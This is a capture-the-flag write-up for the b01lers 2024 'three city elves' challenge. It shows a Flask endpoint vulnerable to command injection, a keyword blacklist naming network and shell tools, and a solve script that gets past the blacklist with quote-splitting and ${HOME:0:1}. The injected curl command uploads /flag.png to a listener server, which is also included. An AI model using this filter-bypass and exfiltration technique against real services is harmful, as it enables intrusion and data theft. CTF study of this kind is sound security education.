Tags: command-injection web 

Rating:

# web/3-city-elves-writeups
> I'm competing in a CTF so I don't have time to make my 3-city-elves challenge. How about you guys help me with the CTF I'm in by submitting some writeups? I would really appreciate it! I only need some kind of medical hardware hacking, like insulin pump hacking. Supply chain is also acceptable. Don't try to do anything silly, the writeup submission comes with a next-gen WAF. We need your help to beat Contraband Manchester United and Sigma Pony! `https://instancer.b01lersc.tf/challenge/threecityelf`

Command Injection challenge where we need to bypass a blacklisted words and leak a flag.png. To solve this I setup a file upload server after confirming i can do a curl command.

Main challenge
```python
@app.route("/pentest_submitted_flags", methods=["POST"])
def submit():
if request.is_json:
# Retrieve JSON data
data = request.json
content = data["content"]
if sus(content):
return jsonify({"message": "The requested URL was rejected. Please consult with your administrator."}), 200
else:
filename = "writeup_" + secrets.token_urlsafe(50)
os.system(f"bash -c \'echo \"{content}\" > {filename}\'")
# Like I care about your writeup
os.system(f"rm -f writeup_{filename}")
return jsonify({"message": "Writeup submitted successfully"}), 200
else:
return jsonify({'error': 'Request data must be in JSON format'}), 400
```
waf.py
```python
def sus(content):
taboo = [
"bin",
"base64",
"export",
"python3",
"export",
"ruby",
"perl",
"x",
"/",
"(",
")"
"\\",
"rm",
"mv",
"chmod",
"chown",
"tar",
"gzip",
"bzip2",
"zip",
"find",
"grep",
"sed",
"awk",
"cat",
"less",
"more",
"head",
"tail",
"echo",
"printf",
"read",
"touch",
"ln",
"wget",
"curl",
"fetch",
"scp",
"rsync",
"sudo",
"ssh",
"nc",
"netcat",
"ping",
"traceroute",
"iptables",
"ufw",
"firewalld",
"crontab",
"ps",
"top",
"htop",
"du",
"df",
"free",
"uptime",
"kill",
"killall",
"nohup",
"jobs",
"bg",
"fg",
"watch",
"wc",
"sort",
"uniq",
"tee",
"diff",
"patch",
"mount",
"umount",
"lsblk",
"blkid",
"fdisk",
"parted",
"mkfs",
"fsck",
"dd",
"hdparm",
"lsmod",
"modprobe",
"lsusb",
"lspci",
"ip",
"ifconfig",
"route",
"netstat",
"ss",
"hostname",
"dnsdomainname",
"date",
"cal",
"who",
"w",
"last",
"history",
"alias",
"export",
"source",
"umask",
"pwd",
"cd",
"mkdir",
"rmdir",
"stat",
"file",
"chattr",
"lsof",
"ncdu",
"dmesg",
"journalctl",
"logrotate",
"systemctl",
"service",
"init",
"reboot",
"shutdown",
"poweroff",
"halt",
"systemd",
"update-alternatives",
"adduser",
"useradd",
"userdel",
"usermod",
"groupadd",
"groupdel",
"groupmod",
"passwd",
"chpasswd",
"userpasswd",
"su",
"visudo",
"chsh",
"chfn",
"getent",
"id",
"whoami",
"groups",
"quota",
"quotaon",
"quotacheck",
"scp",
"sftp",
"ftp",
"tftp",
"telnet",
"ssh-keygen",
"ssh-copy-id",
"ssh-add",
"ssh-agent",
"nmap",
"tcpdump",
"iftop",
"arp",
"arping",
"brctl",
"ethtool",
"iw",
"iwconfig",
"mtr",
"tracepath",
"fping",
"hping3",
"dig",
"nslookup",
"host",
"whois",
"ip",
"route",
"ifconfig",
"ss",
"iptables",
"firewalld",
"ufw",
"sysctl",
"uname",
"hostnamectl",
"timedatectl",
"losetup",
"eject",
"lvm",
"vgcreate",
"vgextend",
"vgreduce",
"vgremove",
"vgs",
"pvcreate",
"pvremove",
"pvresize",
"pvs",
"lvcreate",
"lvremove",
"lvresize",
"lvs",
"resize2fs",
"tune2fs",
"badblocks",
"udevadm",
"pgrep",
"pkill",
"atop",
"iotop",
"vmstat",
"sar",
"mpstat",
"nmon",
"finger",
"ac",
"journalctl",
"ls",
"dir",
"locate",
"updatedb",
"which",
"whereis",
"cut",
"paste",
"tr",
"comm",
"xargs",
"gunzip",
"bunzip2",
"unzip",
"xz",
"unxz",
"lzma",
"unlzma",
"7z",
"ar",
"cpio",
"pax",
"ftp",
"sftp",
"ftp",
"wget",
"curl",
"fetch",
"rsync",
"scp",
"ssh",
"openssl",
"gpg",
"pgp",
]
for item in taboo:
if item in content.lower():
return True
return False
```

We can bypass most of the linux command words using this technique `c''url` and to bypass the `/` we can do `${HOME:0:1}`. https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions

The command I used does a POST request to my file upload server with the /flag.png attached in the body

solve.py
```python
import os
import requests
from waf import sus

# curl -F data=/flag.png <ip:port>
payload = "cu''rl -F \"data=@${HOME:0:1}flag.png\" <redacted>"
content = f"""123" ; {payload} ; e''cho "123"""
assert not sus(content)
filename = "test"
command = f"bash -c \'echo \"{content}\" > {filename}\'"
print(content)
print(command)
# os.system(command)

url = "https://threecityelf-53b6fe52e327b2cb.instancer.b01lersc.tf/pentest_submitted_flags"

json = {
'content': content
}
r = requests.post(url, json=json)
print(r.text)
```

server.py
```python
from flask import Flask, request
import os

app = Flask(__name__)

UPLOAD_FOLDER ='uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
@app.route('/', methods=["POST"])
def xfil():
try:
file = request.files['data']
filename = file.filename
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
except Exception as e:
return str(e)
return 'Success'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8901)
```

To view the flag, I just opened the uploaded file under `/uploads` on the listener server

![flag.png](https://xeunwa.github.io/b01lers-2024/image-1.png)

**flag**: bctf{Lucky_you_I_did_not_code_this_stuff_in_Ruby_lasudkjklhdsfkhjkae}

Original writeup (https://xeunwa.github.io/b01lers-2024/#web3-city-elves-writeups).